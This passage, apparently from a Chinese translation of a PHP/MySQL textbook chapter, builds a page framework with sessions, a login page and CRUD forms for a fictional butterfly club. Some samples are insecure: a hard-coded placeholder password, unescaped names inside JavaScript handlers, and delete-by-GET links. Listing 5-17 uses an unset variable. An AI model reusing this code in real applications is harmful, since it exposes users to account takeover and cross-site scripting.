中存储太多。如果我想跟踪用户的面包屑(他或她的导航路径),或者最近的搜索,或者类似的事情,我会使用它。不过,我确实在那里存储了一个非常重要的东西:用户登录时的userid
。我想把它显示在每一页的底部(或者顶部——由你决定),但是,更重要的是,我想看看它是否在那里。如果是,则有一个$_SESSION
数组,这意味着有一个会话,如果有userid
,则用户成功登录。这样的用户有权运行应用,无论我选择给他或她什么特权。
我在Page
中有一个方法告诉我用户是否登录。
protected function is_logged_in() {
return !empty($_SESSION['userid']);
}
有些页面,如登录页面本身,不在会话中运行。Page
类变量$want_session
指示页面是否在会话中运行。因此,每个页面都在任何应用代码之前执行这个序列。
if ($this->want_session && !$this->is_logged_in()) {
$this->message("Not logged in.");
echo '<div class=div-process></div>'; // to get spacing
$this->bottom();
exit();
}
方法bottom
只是输出应用希望在页面底部显示的任何内容(比如用户标识)。
我提到过登录页面本身不在会话中运行。它验证用户的用户标识和密码,如果它们都是正确的,就启动会话。否则,它会报告一个无效登录,并给用户另一次机会,仍然没有会话。任何包含营销信息之类的页面也不必在会话中运行。但是应用本身可以。
只是为了完成Page
中与相关的方法,这里有一个登录用户
protected function login($login) {
$this->start_session();
$_SESSION['userid'] = $login;
}
另一个用于注销用户
protected function logout() {
$this->start_session();
$this->destroy_session();
}
关于页面标题还有一件事,其中一个是在需要创建 cookie 时设置的:它们是标题,所以它们必须在浏览器的任何其他输出之前。如果你试图设置一个标题为时已晚,你会得到你一生中可能见过几次的信息。
Warning: Cannot modify header information - headers already sent
这只是一个警告,但很严重,因为标头没有发送。因此,您必须在页面上的任何其他代码之前执行Page::start_session
。看一下Page::login
,你会发现它也必须在任何输出之前被调用,因为它调用了Page::start_session
。Page::logout
同上。正如我将要展示的,这些限制将影响Page
产生输出的方式。
页面框架
所有应用的 HTML 页面都应该有一致的外观,并以统一的方式进行处理,以确保所有需要的处理都正确执行,例如确保用户正确登录。为此,我总是使用一个通用的页面结构,并从同一个页面模板驱动我的处理。我将在这里展示一个简单的方法,尽管它足够完整,我已经在实际应用中使用过了,您也可以使用它。
页面结构
我的每一个应用页面都由相同的五个分部组成,如图图 5-12 所示。
图 5-12 。一页的分割
两个外部部分div-top
和div-bottom
,包含出现在每个页面上的标准项目,比如徽标、顶级菜单、版权声明、用户标识等等。有一个消息区,div-message
,只用于 PHP 处理页面时生成的消息。我把这些放在顶部,这样用户可以很容易地发现它们。接下来是我称之为请求部分的部分,div-request
,它用于页面最初显示的任何内容。通常它是一个搜索表单,用于请求用户想要处理的数据。最后,当页面后面的 PHP 执行一个请求时,它在div-process
部分显示输出,通常是另一种形式。如何使用最后两个部分因页面而异,有些页面只使用其中一个。
由于划分的位置和外观是由 CSS 控制的,所以您可以更改它们的外观,而无需篡改应用代码本身。特别是,您可以对台式机和笔记本电脑使用一种布局,而对通常屏幕小得多的移动设备使用另一种布局。
图 5-13 显示了(虚构的)Front Range Butterfly Club 的会员页面。logo、俱乐部名称、菜单栏在div-top
,底部的通知和链接在div-bottom
。没有消息,所以div-message
是隐藏的。查找会员记录的表单和查找、新建按钮在div-request
中,div-process
为空。
图 5-13 。初始成员页面
单击 Find 按钮会导致应用检索姓氏以“s”开头的成员的所有记录,并在div-process
部门显示这些记录的摘要,如图图 5-14 所示。在那里,单击一个细节链接在一个表单中显示该成员的数据,同样在div-process
区域——以此类推,直到成员微型应用运行。在某个时候,用户可能会从菜单中选择其他事情来做,然后这个微型应用就会以相同的页面结构运行。
图 5-14 。找到成员
这种僵硬的页面结构听起来可能有局限性,但是由于div-request
和div-process
部分的内容、位置和外观完全取决于每个应用,所以它实际上对几乎任何事情都足够通用。
页面框架用法
一个名为Page
的类负责处理每个页面的标准处理,实现了统一的页面结构。子类是被实例化的东西,对于每个微型应用都是不同的,并且在页面处理过程中会调用该子类的方法。这些方法中的大部分相当于我在清单 5-11 中展示的动作函数。
文件member.php
是成员微型应用,其结构如清单 5-15 所示。当在没有 URL 参数的情况下执行时,处理从request
方法开始。然后,像以前一样,任何按钮单击都会导致对其中一个操作方法的调用。检查$_REQUEST
数组以确定调用什么动作函数的代码在基类Page
中,为页面输出整个 HTML 的代码也在基类中,包括五个标准分部(div-top
等)。).
清单 5-15 。典型页面的结构
class MyPage extends Page {
protected function request() {
// ...
}
protected function action_find() {
// ...
}
protected function action_new() {
// ...
}
protected function action_detail() {
// ...
}
protected function action_delete() {
// ...
}
protected function action_save() {
// ...
}
}
$page = new MyPage('Member');
$page->go();
我将展示每个方法内部的代码,但是如果你已经学习过清单 5-14 的话,我所做的将会很熟悉。
首先是清单 5-16 中的request
方法,它输出查找表单。请注意,这两个按钮的名称以action_ (in bold)
开头,这就是当您单击它们时基类如何知道要调用什么方法。
清单 5-16 。request
方法
protected function request() {
echo <<<EOT
<form action="{$_SERVER['PHP_SELF']}"
method=post accept-charset=UTF-8>
<label for=last>Last Name:</label>
<input type=text size=50 name=last id=last
placeholder='Last Name'>
<input class=button type=submit name= action_find value='Find'>
<br>
<input class=button type=submit name= action_new value='New'>
</form>
EOT;
}
点击 Find 按钮会导致您再次执行member.php
,但是这次您调用的是action_find
方法,如清单 5-17 所示。
清单 5-17 。action_find
方法
protected function action_find() {
$url = $_SERVER['PHP_SELF'];
$stmt = $this->db->query('select member_id, last, first
from member where last like :pat',
array('pat' => "{$_POST['last']}%"));
if ($stmt->rowCount() == 0)
$this->message('No records found', true);
else {
echo '<p>';
while ($row = $stmt->fetch()) {
$name = "{$row['last']}, {$row['first']}";
echo <<<EOT
<p class=find-choice>
<a href=$url?action_detail&pk=$pk>Detail</a>
<a href=$url?action_delete&pk=$pk>Delete</a>
$name
EOT;
}
}
}
基类Page
执行action_find
,以及所有其他动作函数,因此它们的输出在div_process
部分。在action_find
中,我之前唯一没有展示的是基类方法Page::message
,它在div_message
部分显示了一条消息。在action_find
执行之前,该部门的 HTML 已经输出,因为div-message
在页面的顶部。因此,该方法不是输出直接的 HTML 来显示消息,而是输出 JavaScript 来修改页面的内容。这个 JavaScript 一到达浏览器就被执行,但是最好延迟实际的内容修改,直到浏览器处理完页面的所有 HTML。方法是使用 jQuery ready
函数。稍后我会展示Page::message
,但它所做的相当于向浏览器输出以下内容:
<script>
$(document).ready(function () {
$('#div-message').css('padding', '10px');
$('#message-error').html("No records found");
});
</script>
ready
的参数是一个匿名函数,当执行时,它向div_message
添加填充,然后将消息本身放入该部分的一个段落中。该函数已排队;它在浏览器处理完页面的所有 HTML 后执行。您可以直接输出消息,可能如下所示:
<p style='color:red;'>No records found
但是它会出现在页面的某个地方,这取决于正在编写的其他 HTML,用户可能会错过它。如果所有消息都出现在同一个地方会更好,这正是 JavaScript 方法所实现的。如我所说,我稍后将回到消息。
看到找到的成员列表,如图 5-14 中的所示,用户可以点击其中一个细节链接,这将执行action_detail
方法,如清单 5-18 中的所示。
清单 5-18 。action_detail
方法
protected function action_detail($pk = null) {
if (is_null($pk))
$pk = $_REQUEST['pk'];
$stmt = $this->db->query('select * from member
where member_id = :member_id',
array('member_id' => $pk));
if ($stmt->rowCount() == 0)
$this->message('Failed to retrieve record.');
$row = $stmt->fetch();
$this->show_form($row);
}
参数$pk
用于函数被直接调用的情况,而不是被Page
框架调用;稍后我会展示一个例子。如果省略参数,主键来自$_REQUEST
数组;回想一下清单 5-17 ,在action_find
中的细节链接将它作为 URL 参数提供。
清单 5-19 的中的函数show_form
显示了一个相当实用的表单,使用列名作为表单标签,这通常不是你想要的,但是现在可以了。
清单 5-19 。show_form
功能
protected function show_form($row) {
echo "<form action='{$_SERVER['PHP_SELF']}'
method=post accept-charset=UTF-8>";
foreach (array('member_id', 'last', 'first', 'street',
'city', 'state') as $col) {
if ($col == 'member_id')
$type = 'hidden';
else {
echo "<label for$col>$col:</label>";
$type = 'text';
}
$v = is_null($row) ? '' : $row[$col];
echo "<input type=$type id=$col size=50 name=$col
value='" . htmlspecial($v) . "'>";
}
echo "<br><input class=button type=submit
name=action_save value=Save></form>";
}
关于show_form
,有三点需要注意。
- 主键必须在表单中,所以当单击保存按钮时,
action_save
方法将拥有它,但它是一个隐藏字段。 - 如果
$row
参数为空,则字段的值为空字符串。正如我们将看到的,这就是action_new
用来输出一个空表单的东西。 - 我调用了函数
htmlspecial
(本章前面已经介绍过了)来处理写入页面的任何值。
将 HTML 特殊字符替换为它们的实体(例如,<
的<
)是很重要的,以防有任何字符可能被解释为 HTML。这不仅是为了外观,也是为了防止有人试图通过将 HTML(尤其是 JavaScript)放入数据字段来劫持页面,这将导致页面做一些与设计目的不同的事情。这种利用的名称是跨站脚本(XSS),我将在第六章的中详细讨论。
图 5-15 显示了在图 5-14 中点击妮娜·斯坦顿的细节按钮后,这个笨拙但可行的表单。
图 5-15 。通过 show_form 方法显示的表单
如果新按钮被点击,它的action_new
方法利用了show_form
输出空白表单的能力。在这种情况下,member_id
隐藏字段将是空的,这就是为什么由保存按钮调用的action_save
知道这是一个要插入的新记录。清单 5-20 展示了这些方法。
清单 5-20 。action_new
和action_save
方法
protected function action_new() {
$this->show_form(null);
}
protected function action_save() {
try {
$pk = $this->db->update('member', 'member_id',
array('member_id', 'last', 'first', 'street',
'city', 'state'), $_POST);
}
catch (\Exception $e) {
$this->show_form($_POST);
throw $e;
}
$this->action_detail($pk);
$this->message('Saved OK', true);
}
DbAccess::update
方法自动处理插入和更新,所以这不是问题。我展示的所有其他代码都让异常向上下降,由Page
基类处理,但是这里异常被捕获,这样表单可以在出现错误时再次显示,给用户一个修复问题的机会。(如第四章所述,该错误可能是由约束失败引起的。)
如果DbAccess::update
起作用(没有抛出异常),如果你插入一条新记录,$pk
保存主键,如果你再次查看清单 5-18 ,你会看到action_detail
检索那一行。如果执行更新,$pk
为空,因此action_detail
从$_REQUEST
获取主键,也就是调用action_save
时的主键。
换句话说,出错时显示相同的表单,成功时再次检索记录。还有其他的编码方法,但是这是最简单的方法,可以确保在插入新记录后主键在表单中,因为如果用户修改了刚刚插入的内容,那就需要更新,而不是再次插入。代码不算多,但是编排的很仔细。
顺便说一下,Page:: message
的第二个参数表明这是一个成功的消息,而不是一个错误。稍后,当我展示Page::message
的代码时,您会看到它做了什么。
我还没有谈到的唯一方法是action_delete
,当你点击删除链接时调用,如图图 5-14 所示。它在清单 5-21 中。
清单 5-21 。action_delete
方法
protected function action_delete() {
$stmt = $this->db->query('delete from member where
member_id = :member_id',
array('member_id' => $_REQUEST['pk']));
if ($stmt->rowCount() == 1)
$this->message('Deleted OK', true);
else
$this->message('Nothing deleted');
}
如果单击删除链接,该行会立即被删除,但最好要求用户确认。您可以通过让action_delete
显示一个确认表单,然后让该表单上的一个按钮调用另一个执行实际删除的动作方法来做到这一点。但是我更喜欢用 JavaScript 请求确认,这可以通过将清单 5-17 中的删除链接改为如下:
<a href='' onclick="DeleteConfirm('$name', '$pk');">Delete</a>
JavaScript 函数DeleteConfirm
是
function DeleteConfirm(name, pk) {
if (confirm('Delete ' + name + '?')) {
event.preventDefault();
window.location = document.URL +
'?action_delete=1&pk=' + pk;
}
}
图 5-16 显示了一个例子。如果用户同意,浏览器的 URL 被设置为类似
member.php?action_delete=1&pk=117
图 5-16 。删除确认
(实际上,document.URL
返回了一个绝对 URL,但是我只显示了文件部分。)注意对preventDefault()
的调用,以防止锚到它的href
位置,这是不相关的。
由于DeleteConfirm
独立于任何应用,它和其他普通的 JavaScript 一起位于一个名为page.js
的文件中,这个文件是Page
框架所包含的,我将很快展示。稍后会有其他 JavaScript 添加到该文件中。
页面框架文件
由于Page
类有很多方法,当您阅读下一节时,您会发现按照本书的可下载代码(www.apress.com
)进行学习是最容易的。如果手头没有代码,这里有一个Page
类引用的文件树,以及本章中引用的三个应用页面(首先列出)。
login.php
member.php
specialty.php
Directory incl:
bottom.php
logo.png
page.css
page.js
top.php
Directory menu_assets:
...
Directory lib:
DbAccess.php
Page.php
Directory jquery:
...
在本章和本书的代码中,我没有在 PHP 文件的顶部显示一些设置包含路径的语句,但是你会在可下载的代码(www.apress.com
)中看到它们。
页面框架实现
既然我已经展示了会话是如何工作的,以及如何使用Page
框架来实现一个简单的应用,我将展示它的实现,这要简单得多。大部分代码在Page::go
方法中,大部分我已经以某种形式展示过了。
首先,清单 5-22 显示了构造函数,它只是存储它的参数以备后用。第一个是页面的标题,第二个指示这个页面是否应该在会话中运行,第三个是包含文件的目录,比如div-top
和div-bottom
部分的内容。
清单 5-22 。Page
构造器
class Page {
protected $title, $want_session, $db, $incl_dir;
function __construct($title, $want_session = true,
$incl_dir = 'incl') {
$this->title = $title;
$this->want_session = $want_session;
$this->db = new DbAccess();
$this->incl_dir = $incl_dir;
}
// ...
}
我已经把调用一个动作方法的代码(如清单 5-11 顶部所示)放入一个单独的方法中,在清单 5-23 的中,因为它在任何 HTML 被发送到浏览器之前都在顶部被调用,并且在div-process
部分内部也被调用。正常的动作以action_
为前缀,就像我们一直做的那样;在任何其他输出开始之前执行的那些以pre_action_
开始。返回值指示是否调用了操作方法。
清单 5-23 。perform_action
方法
private function perform_action($want_pre = false) {
if ($want_pre)
$pfx = 'pre_action_';
else
$pfx = 'action_';
foreach ($_REQUEST as $k => $v)
if (strpos($k, $pfx) === 0) {
$this->$k();
return true;
}
return false;
}
现在,正如我所说的,Page::go
做了大部分的工作。它在清单 5-24 中,我将一部分一部分地介绍它。
清单 5-24 。Page::go
方法
public function go() {
if ($this->want_session)
$this->start_session();
try {
if ($this->perform_action(true)) // actions before output
return;
$this->top();
}
catch (\Exception $e) {
$this->top();
echo '<p class=message-error>' .
$e->getMessage() . '</p>';
$this->bottom();
return;
}
echo <<<EOT
<div class=div-message id=div-message>
<p class=message-error id=message-error></p>
<p class=message-ok id=message-ok></p>
</div>
EOT;
if ($this->want_session && !$this->is_logged_in()) {
$this->message("Not logged in.");
echo '<div class=div-process></div>'; // to get spacing
$this->bottom();
exit();
}
try {
echo '<div id=div-request class=div-request>';
$this->request();
echo '</div>';
echo '<div class=div-process>';
$this->perform_action();
echo '</div>';
}
catch (\Exception $e) {
$this->message($e->getMessage());
}
$this->bottom();
}
正如我已经解释过的,首先,你要加入一个现有的会话或者开始一个新的会话。然后,在除了头之外的任何输出之前,执行任何pre_action_
方法。大多数页面没有,但是,特别是登录页面有,当我到达它的时候我会展示。任何错误都会被捕获,但是由于您还没有编写div-message
,它们会被直接输出到页面。这是可以的,因为这里的任何错误都来自内部处理,而不是因为用户做错了什么。
接下来,调用Page::top
方法来输出div-top
部分中应用开发人员想要的任何内容。通常情况下,Page::top
只是
protected function top() {
require_once "{$this->incl_dir}/top.php";
}
但是Page
的子类可以覆盖它。
接下来是div-message
部分,有两段,一段用于错误,一段用于成功消息。拥有两个段落可以让它们在 CSS 中有不同的风格。最初,两个段落都是空的,填充和边距都为零,所以整个部分根本不占用空间。正如我所展示的,如果显示一条消息,这种情况将会改变。
接下来是我在“会话转换和登录页面”一节中展示的会话检查如果页面应该在一个会话中运行,但是没有运行,那么将会有一条消息排队等待,并且页面以对Page::bottom
的调用结束,该调用将写入div-bottom
部分的内容:
protected function bottom() {
require_once "{$this->incl_dir}/bottom.php";
}
和Page::top
一样,子类可以覆盖它。
现在,所有这些预备工作都完成了,是时候编写应用代码了,这很简单。子类为Page::request
定义的东西在div-request
部分中被调用;基类中有一个存根,以防应用没有定义它。如果有一个动作函数被调用,它在div-process
部门被调用。所有这些都在一个try
块中,捕获代码显示错误消息。最后,Page::bottom
被称为。
剩下要展示的是清单 5-25 中的Page::message
,它的重要部分我已经展示过了。
清单 5-25 。Page::message
方法
protected function message($s, $ok = false) {
if ($ok)
$id = 'message-ok';
else
$id = 'message-error';
$s = str_replace('"', "'", $s);
$s = str_replace("\r", '', $s);
$s = str_replace("\n", ' ', $s);
$s = htmlspecial($s);
echo <<<EOT
<script>
$(document).ready(function () {
$('#div-message').css('padding', '10px');
$('#$id').html("$s");
});
</script>
EOT;
}
传入的消息文本必须被替换成 JavaScript,所以我用单引号替换双引号,并去掉回车和换行符。(我本来可以使用转义双引号,但是我用了最简单的方法。)
这就是整个Page
框架。我没有显示的是包含样本 HTML 的包含文件,主要是top.php
,如清单 5-26 中的所示。(回想一下,它在incl
目录中。)
清单 5-26 。页面顶部的 HTML
echo <<<EOT
<!doctype html>
<html lang=en>
<head>
<meta charset=utf-8>
<title>{$this->title}</title>
<link rel=stylesheet type=text/css
href="lib/jquery/css/dark-hive/jquery-ui-1.10.3.custom.min.css">
<link rel=stylesheet type=text/css
href="incl/menu_assets/styles.css">
<link rel=stylesheet type=text/css href="incl/page.css" />
<script src="lib/jquery/js/jquery-1.9.1.js"></script>
<script src="lib/jquery/js/jquery-ui-1.10.3.custom.min.js"></script>
<script src="incl/page.js"></script>
</head>
<body>
<div class=page>
<div class=div-top>
<table border=0 width=100%><tr>
<td class=logo><img src=incl/logo.png>
<td class=company>Front Range Butterfly Club
</table>
</div>
EOT;
注意title
HTML 中的变量替换{$this->title}
。因为这个文件是 PHP 代码,而不仅仅是 HTML,它可以做类似的事情。
有两个 CSS 文件:一个用于 jQuery,它是从jqueryui.com/themeroller
下载的,在这里你可以从常用主题中选择或者创建自己的主题;另一个包含应用的 CSS,用于所有的页面元素(message-error
、div_request
等)。).
有三个 JavaScript 文件:两个用于 jQuery,一个用于应用,其中包含类似于DeleteConfirm go
的函数,我已经展示过了。以后再补充。我喜欢下载 jQuery 文件并把它们放在服务器上,这就是我在这里所做的。这对开发平台来说很重要,因为您希望能够在没有互联网的情况下进行测试,但是我也是为了生产而这样做的,所以我可以控制正在执行的 JavaScript。如果需要,您也可以引用外部 URL。
<script
src=" //ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js ">
</script>
我听说使用 Google 的 URL 可以减少延迟、增加并行性和更好的缓存,所以你可能想这样做。
在正文中,整个页面处于一个page
分割中;从这里开始,到bottom.php
结束。接下来是div-top
部分,包括网站的标志和名称。
清单 5-27 中的文件bottom.php
更简单。
清单 5-27 。页面底部的 HTML
echo <<<EOT
<div class=div-bottom>
<p class=bottom>
All information in this database is private and is not to be disclosed.
EOT;
if ($this->is_logged_in())
echo <<<EOT
Logged in as {$_SESSION['userid']}
<a href='login.php?pre_action_logout=1'>Logout</a>
EOT;
else
echo <<<EOT
(Not logged in)
<a href='login.php'>Login</a>
EOT;
echo <<<EOT
</div>
</div>
</body>
</html>
EOT;
这里的大部分内容显示用户是否登录,如果登录,则显示用户 id。还有注销或登录的链接。我还没有展示login.php
,但是你可以想象它可能会做什么。注意多出来的</div>
;它结束了始于top.php
的page
分裂。
这几乎是所有的框架代码。我不打算展示 CSS,因为它太详细了,无法简洁地展示,此外,它超出了本书的范围。如果您想看的话,可以下载示例代码。
一大块 HTML 和一个关联的 CSS 文件处理菜单。我没有编码——我是从cssmenumaker.com
下载的。如果你在那里制作一个菜单,把 HTML 代码放在top.php
文件中,并在驱动菜单的 CSS 中添加一个link
。(这类菜单完全由 CSS 运行,而不是 JavaScript。)
总结一下我带你去的地方:我们有一个Page
框架,它将用于所有页面。它处理许多常见的处理,并确保像检查会话这样的关键事情得以完成。我解释了会话是如何工作的,尽管还没有解释如何处理登录。我展示了 Front Range Butterfly Club 的会员页面,并且我将展示它的一些增强功能。然而,我将继续使用Page
框架。因为它实际上只是调用它的子类,所有的 HTML、CSS 和 JavaScript 都在单独的文件中,所以这个框架非常通用。它处理会话和页面结构的方式永远不会改变。
会话转换和登录页面
登录页面与普通页面member.php
有些不同,因为它代表授权用户启动一个会话。它的对应物是注销页面,它的功能正好相反,这两个页面可以合并到同一个文件中,在我给出的例子中我称之为login.php
。
login.php
中的子类是MyPage
,就像在member.php
中一样,执行如下开始(你可能想回头看看清单 5-15 ):
$page = new MyPage('Login', false);
$page->go();
构造函数的第二个参数是false
,表示不需要会话,因为这是登录页面的开始。
Page::go
然后调用我的Page::request
,如图清单 5-28 所示。我稍后将解释底部处理msg
参数的部分。
清单 5-28 。MyPage::request
方法
protected function request() {
echo <<<EOT
<form action="{$_SERVER['PHP_SELF']}" method=post
accept-charset=UTF-8>
<label for=userid>User ID:</label>
<input type=text size=50 name=userid id=userid
placeholder='User ID'>
<label for=password>Password:</label>
<input type=password size=50 name=password id=password
placeholder='Password'>
<br>
<input class=button type=submit name=pre_action_login value='Login'>
<input class=button type=submit name=action_forgot value='Forgot'>
</form>
EOT;
if (isset($_REQUEST['msg']))
$this->message($_REQUEST['msg']);
}
图 5-17 显示了表单。这是一个非常小的页面。通常一个网站的首页会有更多的内容,比如新闻、营销信息、如何登录的细节等等。您可以在您的request
方法中输出任何您想要的 HTML。
图 5-17 。登录表单
有两个动作:登录和忘记,后者现在只是一个存根。
protected function action_forgot() {
$this->message('Not yet implemented');
}
第六章相当详细地讨论了忘记密码的问题。
如果你再次查看清单 5-28 ,你会看到登录按钮的动作方法是pre_action_login
,而不是action_login
,所以它是由Page::go
在任何输出被写入之前执行的(清单 5-23 和 5-24)。这一点很重要,因为如果一切顺利,它会想要启动一个会话,这只能在任何输出之前完成,因为 PHP 必须编写一个头来创建 cookie。MyPage::pre_action_login
在清单 5-29 中。
清单 5-29 。MyPage::pre_action_login
方法
protected function pre_action_login() {
// Somewhat naive!
if ($_POST['password'] == 'cupcake') {
$this->login($_POST['userid']);
header('Location: member.php');
}
else
header('Location: login.php?msg=Wrong%20password');
}
我将在第六章中正确处理密码,所以你在这里看到的只是临时代码。(我保证!)然而,如果密码检查是真实的,那么会发生什么:一个userid
元素被添加到会话中,这是所有会话中页面检查的内容。(检查在清单 5-24 的中的Page::go
内)。)然后浏览器被重定向到member.php
页面,这样用户就可以开始工作了。
如果登录失败,可以立即写入页面,这样会出现一条错误消息,但是这使得Page::go
中的处理过于复杂。将浏览器直接重定向回登录页面更容易,只是这一次会显示一条消息,这就是清单 5-28 底部的代码所做的。(通常你不会说密码错了,而是说一些不太具体的话,这样就不会通过暗示用户 id 是有效的来给猜测者提供不必要的帮助。)
从我所展示的内容中得到的关键是,因为如此多的处理都涉及到编写头部,无论是启动会话还是重定向页面,处理都必须在Page::go
或它调用的任何方法编写任何 HTML 之前发生。
注销,如我在清单 5-27 中所示,页面底部有 HTML,login.php
用一个pre_action_logout
参数执行,得到那个被调用的方法。在清单 5-30 里。
清单 5-30 。MyPage::pre_action_logout 方法
protected function pre_action_logout() {
$this->logout();
header('Location: login.php');
}
与MyPage::pre_action_login
在出现错误时重定向浏览器的原因相同,一旦注销完成,浏览器将被重定向回登录页面。我在前面的“PHP 会话”一节中展示了Page::logout
它启动会话,因为login.php
总是从没有会话开始。然后它调用Page:: destroy_session
。另一种方法是将日志放在它自己的文件中,logout.php
,比如说,在一个会话中运行,但是我不认为仅仅为了保存这个小方法而创建一个单独的文件有什么意义。
处理人际关系
如果你有一个 cruddy 关系,我帮不上忙,但是我可以帮助编写 CRUD 页面来处理实体之间的关系。
最棘手的情况是当有一个外键时,就像一对多关系中的“多”方一样。例如,假设成员表单被增强为包括每个成员的专业,可以是刷脚、薄纱翼、金属标记、硫磺、燕尾或白色。(根据维基百科;我对蝴蝶的了解甚至比我对人际关系的了解还要少。)许多成员可以有相同的专长,但是一个成员只能有一个,所以这是一对多,在member
表中有specialty
表的外键——“多”方。
外键列只是一个列,尽管有一个约束,所以我们可以把它放在表单上,让用户在其中键入一个数字,比如 4738 表示燕尾,如果这就是代理键的话。显然这是一个糟糕的设计。最好是一个下拉列表,这对于蝴蝶专业来说可能是可以的,但是对于很长的列表来说就不行了。
如果可以使用下拉列表,那么可以在生成表单时动态填充它,方法是在表上执行select
操作,为每一行获取一个描述性字符串及其相关的主键。字符串进入下拉框,主键存储在某个地方,可能在隐藏字段中。然后,当用户做出选择并提交表单时,可以将外键插入到引用列中。
如果外键引用一个更长的表,用户可能必须搜索该表以确定应该引用哪一行。因为这比下拉列表更复杂,所以我将详细展示它。然后我将展示如何处理多对多的关系。
带有外键的表单
在涉及代理键的一对多关系的“多”方的表单中,用户应该看到行的一些表示,比如名称,但是实际的外键应该是隐藏的。更新数据库时,只涉及外键列。举个例子会让事情变得更清楚。
图 5-18 显示了蝴蝶俱乐部会员形式,增加了一个新的领域,会员的专长(刷脚、游丝翼等)。),以及两个按钮:选择和清除。在清单 5-31 中增强的show_form
方法显示了那个字段,以及一个外键specialty_id
的隐藏字段。
图 5-18 。增强的成员表单
清单 5-31 。增强的show_form
方法
protected function show_form($row) {
echo "<form action='{$_SERVER['PHP_SELF']}'
method=post accept-charset=UTF-8>";
foreach (array('member_id', 'last', 'first', 'street',
'city', 'state', 'specialty_id', 'name') as $col) {
if ($col == 'name')
$readonly = 'readonly';
else
$readonly = '';
$id = $col == 'name' ? 'specialty_id_label' : $col;
if ($col == 'member_id' || $col == 'specialty_id')
$type = 'hidden';
else {
echo "<label for=$id>$col:</label>";
$type = 'text';
}
$v = is_null($row) ? '' : $row[$col];
echo "<input type=$type id=$id size=50 name=$col
value='" . htmlspecial($v) .
"' $readonly>";
if ($col == 'name') {
echo "<button class=button type=button
onclick='ChooseSpecialty(\"specialty_id\");'>
Choose...</button>";
echo "<button class=button type=button
onclick='ClearField(\"specialty_id\");'>
Clear</button>";
}
}
echo "<p class=label><input class=button type=submit
name=action_save value=Save></form>";
}
这些按钮是因为用户看到的字段name
是只读的。(它应该有一个更好的标签,但这是另一个问题,我将在第六章中讨论。)选择按钮执行 JavaScript 函数ChooseSpecialty
,清除按钮执行ClearField
。两者都传递了外键字段的 id,即specialty_id
(与列名相同)。此外,包含与外键字段配对的可见字段的字段具有相同的 id,但带有后缀_label
。
适用于任何形式,非常简单:
function ClearField(id) {
$('#' + id).val('');
$('#' + id + '_label').val('');
}
像会员一样,专业也有自己的页面,叫做specialty.php
,你可以从窗口顶部菜单上的专业按钮进入。(你可以在图 5-19 中看到那个按钮。)我不打算呈现那个页面的细节,因为它与成员表单如此相似,但是图 5-19 显示了它的样子。除了代理键之外,只有一个字段specialty_id
(它是隐藏的)。
图 5-19 。专业表单
回到清单 5-31 ,由成员表单上的选择按钮调用的ChooseSpecialty
功能,打开一个执行specialty.php
并显示查找表单的新窗口,允许用户找到他或她想要与成员关联的专业。(如果有几十或几百条记录可供选择,那么 Find 表单的动机会更明显。)然而,在这种情况下,specialty.php
被赋予了参数choose
,这告诉它它被执行只是为了提供一个选择,而不是为了一般的 CRUD 操作。
首先,这里是ChooseSpecialty
JavaScript 函数。
function ChooseSpecialty(id) {
window.open("specialty.php?choose=yes&id=" + id, "_blank",
"height=600, width=800, top=100, left=100, tab=no, " +
"location=no, menubar=no, status=no, toolbar=no", false);
}
窗口的细节并不重要,你可以随意设置。重要的是传递给specialty.php
: choose
的两个参数和仍然显示成员表单的窗口中隐藏的specialty_id
字段的 id。图 5-20 显示了点击专业窗口中的查找按钮显示所有专业后的两个窗口。
图 5-20 。带有弹出专业表单的成员表单
图 5-21 显示了点击金属标记的选择按钮时会发生什么。调用 specialty 窗口中的 JavaScript 函数MadeChoice
,使用三个参数:member 窗口中隐藏的specialty_id
字段的 id(在图中用虚线轮廓显示)、所选专业的主键以及该专业的名称(“metalmarks”)。MadeChoice
然后用同样的三个参数调用成员窗口中的 JavaScript 函数HaveChoice
,HaveChoice
将specialty_id
和name
插入表单。这就是一个窗口(专业)如何写入另一个窗口(成员)的表单。有了这个解释,你应该能够理解我给出的代码。
图 5-21 。专业窗口修改成员窗口
清单 5-32 展示了specialty.php
中的action_find
方法,除了处理choose
参数的代码之外,它看起来很像清单 5-17 中用于成员表单的方法。
清单 5-32 。specialty.php
中的action_find
protected function action_find() {
$url = $_SERVER['PHP_SELF'];
$stmt = $this->db->query('select specialty_id, name
from specialty where name like :pat',
array('pat' => "{$_POST['name']}%"));
if ($stmt->rowCount() == 0)
$this->message('No records found', true);
else {
echo '<p>';
while ($row = $stmt->fetch()) {
$name = $row['name'];
$pk = $row['specialty_id'];
echo '<p class=find-choice>';
if (isset($_REQUEST["choose"]))
echo "<button class=button
onclick='MadeChoice(\"{$_REQUEST['id']}\",
\"$pk\", \"$name\");'>Choose</button>";
else {
echo <<<EOT
<p class=find-choice>
<a href=$url?action_detail&specialty_id=$pk>Detail</a>
<a href=''
onclick="DeleteConfirm('$name', '$pk');">Delete</a>
EOT;
}
echo " $name";
}
}
}
它所做的是在每个专业名称旁边显示一个选择按钮(粗体),而不是从菜单栏执行时显示的详细信息和删除链接。这就是你在图 5-20 中看到的。请注意,这些是按钮,而不是带下划线的链接;我展示了两种方法来说明这两种方法。为了保持一致性,您可能希望在自己的应用中使用按钮。
无论如何,当你点击一个选择按钮时,如图 5-21 中的所示,JavaScript 函数MadeChoice
被执行,带有三个参数:成员表单中的字段 id(在成员窗口中),所选专业的主键,以及专业的名称。如我所说,这个函数需要做的是将名称放入成员表单上的可见字段,并将主键放入成员表单上的隐藏外键字段。听起来很容易,但是这些字段在不同的窗口中。幸运的是,做起来和说起来一样容易。
function MadeChoice(id, result, label) { // executes in popup
window.opener.HaveChoice(id, result, label);
window.close();
}
原来你可以用window.opener
引用打开这个窗口的窗口,显示成员窗体的那个。函数MadeChoice
调用那个窗口中的函数HaveChoice
。然后关闭弹出的专业窗口。
回到会员窗口,这里是HaveChoice
。
function HaveChoice(id, result, label) { // executes in main window
$('#' + id).val(result);
$('#' + id + '_label').val(label);
}
它使用 jQuery 代码将主键(result
参数)放入外键字段(其 id 被传入),将专业名称(label
参数)放入可见字段,其 id 相同,但带有一个_label
后缀。
JavaScript 在一个完全不同的窗口中调用一个函数,这是一个来回的过程。我来回顾一下发生了什么,现在你可能想再读一遍这一节,研究一下图 5-21 ,因为你已经知道故事的结局了。
- 在成员窗口中单击了只读名称字段旁边的选择按钮。
- 弹出一个专业窗口,允许用户找到要选择的专业。它被传递了成员窗口中名称字段的 id。
- 在专业窗口中,点击名称旁边的选择按钮,导致
member
窗口、specialty_id
和name
中名称字段的 id 被传递给专业窗口中的MadeChoice
